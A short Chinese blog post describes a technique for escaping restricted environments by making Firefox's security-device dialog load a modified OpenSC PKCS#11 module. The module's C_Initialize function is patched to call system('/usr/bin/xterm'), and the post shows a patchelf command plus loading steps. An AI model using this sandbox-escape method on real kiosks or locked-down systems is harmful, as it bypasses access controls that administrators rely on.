借由Firefox执行系统shell

原理:

Firefox的[安全设备]功能支持载入一个PKCS模块,用以支持某些WEB服务器需要的智能卡验证功能.

基于此,我们只要找一个开源的PKCS实现,在其入口函数中加入我们自己的代码就可以实现—比如在Firefox进程下spaw一个shell的”恶意功能”.

步骤如下:

1.1 第一步:挑一个PKCS的开源实现

1.2 第二步:在其入口函数 C_Initialize 加入spaw shell的代码

CK_RV C_Initialize(CK_VOID_PTR pInitArgs)
{
    int res = system("/usr/bin/xterm");
    printf("%d", res);
	CK_RV rv;
#if !defined(_WIN32)
	pid_t current_pid = getpid();
#endif
	int rc;
	unsigned int i;
	sc_context_param_t ctx_opts;

1.3 第三步:调整依赖库位置

第二步编译出来的so文件会提示缺少libopensc.so.6的依赖库.在攻击环节中我们需要手动下载这个库,并事前调整其位置.

patchelf --set-rpath /tmp opensc-pkcs11.so

1.4 第四步: 执行

  1. 下载libopensc.so.6到 /tmp
  2. 下载opensc-pkcs11.so
  3. 打开Firefox的安全设备对话框载入opensc-pks11.so 弹出shell

技术链接:https://www.contextis.com/en/blog/escaping-from-mozilla-firefox-in-restricted-environments

发表评论

电子邮件地址不会被公开。 必填项已用*标注